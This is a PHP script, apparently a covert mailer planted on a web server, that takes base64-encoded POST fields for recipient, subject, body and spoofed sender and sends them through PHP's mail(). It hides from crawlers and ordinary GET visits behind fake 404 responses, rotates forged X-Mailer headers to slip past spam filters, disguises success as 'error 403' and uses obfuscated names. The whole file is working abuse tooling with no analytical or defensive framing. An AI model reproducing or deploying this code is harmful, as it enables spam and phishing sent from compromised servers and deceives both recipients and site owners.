PHP Decode

function mailto($to, $subject, $message, $from, $fromAddr) {

$mailer = 'Ximian Evolution 2.3.1 (2.0.1-6)###The Bat! (v2.00.9) Personal###Apple Mail (2.552)###Ximian Evolution 1.0.3 (1.0.3-6)###Ximian Evolution 2.0.1 (2.0.1-6)###The Bat! (v2.00.3) Personal###Mailman v2.0.8###The Bat! (v2.00.9) Personal###Microsoft Outlook Express 6.00.2800.1158###MIME-tools 5.41 (Entity 5.404)###Microsoft Outlook Express 6.00.2800.1158###Pegasus Mail for Win32 (v3.12c)###Microsoft Outlook Express 6.00.2900.2180###Mutt 1.0.1i###Microsoft Office Outlook, Build 11.0.5510###Microsoft Outlook Express 6.00.2800.1158###Sylpheed version 0.7.6 (GTK+ 1.2.10; i686-pc-tommie-gnu)###Microsoft Outlook Express 6.00.2900.2180###Evolution/1.0-5mdk###IPB PHP Mailer###Microsoft Outlook Express 6.00.2800.1158###Microsoft Office Outlook, Build 11.0.5510###IPB PHP Mailer###acme Mail###Apple Mail###Balsa###Becky!###Bloomba###Citadel###Claris Emailer###Claws Mail###Courier###EmailTray###Eudora###Forte Agent###Foxmail###Geary###GNUMail###KMail###IBM Notes & Domino###Mail###Mailbird###Microsoft Office Outlook###Modest###Mozilla Thunderbird###Mulberry###Novell Evolution###Novell GroupWise###Opera Mail###Pegasus Mail###i.Scribe/InScribe###SeaMonkey Mail & Newsgroups###Sylpheed###Sparrow###Spicebird###The Bat!###TouchMail###Windows Live Mail###YAM###Alpine###Elm###Gnus###mailx###MH###MUSH###Mutt###Pine###sendEmail###Turnpike###Upas###24SevenOffice###Alpine###Bongo###Citadel###Horde IMP###Hula project###Kerio WebMail###Mailpile###OpenGroupware Webmail###RoundCube Webmail###SquirrelMail###WebPine###Touchmail###Zimbra';
$xmailer = explode('###',  $mailer);
$gmailer = $xmailer[array_rand($xmailer)] ;

$mb_internal_encoding = mb_internal_encoding();
mb_internal_encoding('UTF-8');
$headers = "Date: ".date("r")."
";
//$headers.= "Return-Path: <".$fromAddr.">
";
$headers.= "From: =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";
$headers.= "Reply-To:  =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";

$headers.= "X-Mailer: " . $gmailer . "
";

$headers.= "MIME-Version: 1.0
";
$headers.= "Content-Type: text/plain; charset=UTF-8
";
$headers.= "Content-Transfer-Encoding: 8bit
";



$subject = "=?UTF-8?B?".base64_encode($subject)."?=";


if (strpos($message, '<html')) {
$msgType = "text/html";
} else $msgType = "text/plain";
$body = $message;
mb_internal_encoding($mb_internal_encoding);
return mail($to, $subject, $body, $headers);
}





function isBotDetected() {

    if ( preg_match('/abacho|accona|AddThis|AdsBot|ahoy|AhrefsBot|AISearchBot|alexa|altavista|anthill|appie|applebot|arale|araneo|AraybOt|ariadne|arks|aspseek|ATN_Worldwide|Atomz|baiduspider|baidu|bbot|bingbot|bing|Bjaaland|BlackWidow|BotLink|bot|boxseabot|bspider|calif|CCBot|ChinaClaw|christcrawler|CMC\/0\.01|combine|confuzzledbot|contaxe|CoolBot|cosmos|crawler|crawlpaper|crawl|curl|cusco|cyberspyder|cydralspider|dataprovider|digger|DIIbot|DotBot|downloadexpress|DragonBot|DuckDuckBot|dwcp|EasouSpider|ebiness|ecollector|elfinbot|esculapio|ESI|esther|eStyle|Ezooms|facebookexternalhit|facebook|facebot|fastcrawler|FatBot|FDSE|FELIX IDE|fetch|fido|find|Firefly|fouineur|Freecrawl|froogle|gammaSpider|gazz|gcreep|geona|Getterrobo-Plus|get|girafabot|golem|googlebot|\-google|grabber|GrabNet|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|HTTrack|ia_archiver|iajabot|IDBot|Informant|InfoSeek|InfoSpiders|INGRID\/0\.1|inktomi|inspectorwww|Internet Cruiser Robot|irobot|Iron33|JBot|jcrawler|Jeeves|jobo|KDD\-Explorer|KIT\-Fireball|ko_yappo_robot|label\-grabber|larbin|legs|libwww-perl|linkedin|Linkidator|linkwalker|Lockon|logo_gif_crawler|Lycos|m2e|majesticsEO|marvin|mattie|mediafox|mediapartners|MerzScope|MindCrawler|MJ12bot|mod_pagespeed|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|NationalDirectory|naverbot|NEC\-MeshExplorer|NetcraftSurveyAgent|NetScoop|NetSeer|newscan\-online|nil|none|Nutch|ObjectsSearch|Occam|openstat.ru\/Bot|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pingdom|pinterest|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|rambler|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Scrubby|Search\-AU|searchprocess|search|SemrushBot|Senrigan|seznambot|Shagseeker|sharp\-info\-agent|sift|SimBot|Site Valet|SiteSucker|skymob|SLCrawler\/2\.0|slurp|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|spider|suke|tach_bw|TechBOT|TechnoratiSnoop|templeton|teoma|titin|topiclink|twitterbot|twitter|UdmSearch|Ukonline|UnwindFetchor|URL_Spider_SQL|urlck|urlresolver|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|wapspider|WebBandit\/1\.0|webcatcher|WebCopier|WebFindBot|WebLeacher|WebMechanic|WebMoose|webquest|webreaper|webspider|webs|WebWalker|WebZip|wget|whowhere|winona|wlm|WOLP|woriobot|WWWC|XGET|xing|yahoo|YandexBot|YandexMobileBot|yandex|yeti|Zeus/i', $_SERVER['HTTP_USER_AGENT'])
    ) {
        return true; // 'Above given bots detected'
    }

    return false;

} // End :: isBotDetected()

if(isBotDetected()){
header($_SERVER['SERVER_PROTOCOL']." 404 Not Found");
}
else
{
$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
  case 'GET':
    //Here Handle GET Request
    echo '###ERROR 404';
exit;
    break;
  case 'POST':
    //Here Handle POST Request


foreach($_POST as $key => $x_value) {

//    $custom = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/';
  //  $default = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  //  $data = base64_decode(strtr($x_value, $custom, $default));


$data = base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];



$jfnbrsjfq =  mailto($to, $x_subject, $x_body, $from_user, $from_email);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

}





    break;
 
}




}